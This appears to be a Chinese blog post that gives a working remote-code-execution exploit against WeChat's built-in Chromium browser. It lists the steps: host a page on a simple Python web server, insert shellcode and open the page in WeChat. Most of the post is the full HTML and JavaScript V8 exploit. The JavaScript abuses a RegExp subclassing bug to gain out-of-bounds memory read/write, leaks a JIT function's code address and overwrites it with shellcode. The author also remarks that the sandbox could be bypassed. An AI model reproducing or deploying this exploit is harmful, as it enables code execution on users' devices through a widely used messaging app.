zoukankan      html  css  js  c++  java
  • 微信利用Chrome0day漏洞远程代码执行

    微信公众号本来一堆师傅写的,后面发现全给删了。我tm直呼好家伙。

    倒是没什么技术含量。就是好久没发文章了,划划水。

    起个web

    [root@matser ~]# python -m SimpleHTTPServer 8080
    Serving HTTP on 0.0.0.0 port 8080 ...
    

     

    改一下shellcode

    放到web目录下,微信端访问

    最新版本的也还是关闭了沙箱,应该是做了啥检测,理论上还是可以继续bypass

    估计i开了这个口子以后会有更多的口子。

    EXP:

    html

    <!DOCTYPE html>
    <html>
    <head>
    	<title>testeer</title>
    </head>
    <body>
    <script src="./wx.js"></script>
    </body>
    </html>
    

      

    JavaScript

    ENABLE_LOG = true;
    IN_WORKER = true;
    
    // run calc and hang in a loop
    var shellcode = [shellcode];
    
    function print(data) {
    }
    
    
    var not_optimised_out = 0;
    var target_function = (function (value) {
        if (value == 0xdecaf0) {
            not_optimised_out += 1;
        }
        not_optimised_out += 1;
        not_optimised_out |= 0xff;
        not_optimised_out *= 12;
    });
    
    for (var i = 0; i < 0x10000; ++i) {
        target_function(i);
    }
    
    
    var g_array;
    var tDerivedNCount = 17 * 87481 - 8;
    var tDerivedNDepth = 19 * 19;
    
    function cb(flag) {
        if (flag == true) {
            return;
        }
        g_array = new Array(0);
        g_array[0] = 0x1dbabe * 2;
        return 'c01db33f';
    }
    
    function gc() {
        for (var i = 0; i < 0x10000; ++i) {
            new String();
        }
    }
    
    function oobAccess() {
        var this_ = this;
        this.buffer = null;
        this.buffer_view = null;
    
        this.page_buffer = null;
        this.page_view = null;
    
        this.prevent_opt = [];
    
        var kSlotOffset = 0x1f;
        var kBackingStoreOffset = 0xf;
    
        class LeakArrayBuffer extends ArrayBuffer {
            constructor() {
                super(0x1000);
                this.slot = this;
            }
        }
    
        this.page_buffer = new LeakArrayBuffer();
        this.page_view = new DataView(this.page_buffer);
    
        new RegExp({ toString: function () { return 'a' } });
        cb(true);
    
        class DerivedBase extends RegExp {
            constructor() {
                // var array = null;
                super(
                    // at this point, the 4-byte allocation for the JSRegExp `this` object
                    // has just happened.
                    {
                        toString: cb
                    }, 'g'
                    // now the runtime JSRegExp constructor is called, corrupting the
                    // JSArray.
                );
    
                // this allocation will now directly follow the FixedArray allocation
                // made for `this.data`, which is where `array.elements` points to.
                this_.buffer = new ArrayBuffer(0x80);
                g_array[8] = this_.page_buffer;
            }
        }
    
        // try{
        var derived_n = eval(`(function derived_n(i) {
            if (i == 0) {
                return DerivedBase;
            }
    
            class DerivedN extends derived_n(i-1) {
                constructor() {
                    super();
                    return;
                    ${"this.a=0;".repeat(tDerivedNCount)}
                }
            }
    
            return DerivedN;
        })`);
    
        gc();
    
    
        new (derived_n(tDerivedNDepth))();
    
        this.buffer_view = new DataView(this.buffer);
        this.leakPtr = function (obj) {
            this.page_buffer.slot = obj;
            return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
        }
    
        this.setPtr = function (addr) {
            this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
        }
    
        this.read32 = function (addr) {
            this.setPtr(addr);
            return this.page_view.getUint32(0, true, ...this.prevent_opt);
        }
    
        this.write32 = function (addr, value) {
            this.setPtr(addr);
            this.page_view.setUint32(0, value, true, ...this.prevent_opt);
        }
    
        this.write8 = function (addr, value) {
            this.setPtr(addr);
            this.page_view.setUint8(0, value, ...this.prevent_opt);
        }
    
        this.setBytes = function (addr, content) {
            for (var i = 0; i < content.length; i++) {
                this.write8(addr + i, content[i]);
            }
        }
        return this;
    }
    
    function trigger() {
        var oob = oobAccess();
    
        var func_ptr = oob.leakPtr(target_function);
        print('[*] target_function at 0x' + func_ptr.toString(16));
    
        var kCodeInsOffset = 0x1b;
    
        var code_addr = oob.read32(func_ptr + kCodeInsOffset);
        print('[*] code_addr at 0x' + code_addr.toString(16));
    
        oob.setBytes(code_addr, shellcode);
    
        target_function(0);
    }
    
    try{
        print("start running");
        trigger();
    }catch(e){
        print(e);
    }
    

      

  • 相关阅读:
    经典网络命令(搜集、概括)
    浅谈“五万月薪涉足数据恢复行业”
    C语言宏定义技巧(常用宏定义)
    安装IIS5.0出错
    IDM(Internet Download Manager)下载
    tape记忆法
    华为手环更换绑定手机
    冯况 | 清理电脑磁盘
    利用知网查个人信息
    双向循环链表
  • 原文地址:https://www.cnblogs.com/nul1/p/14677061.html
Copyright © 2011-2022 走看看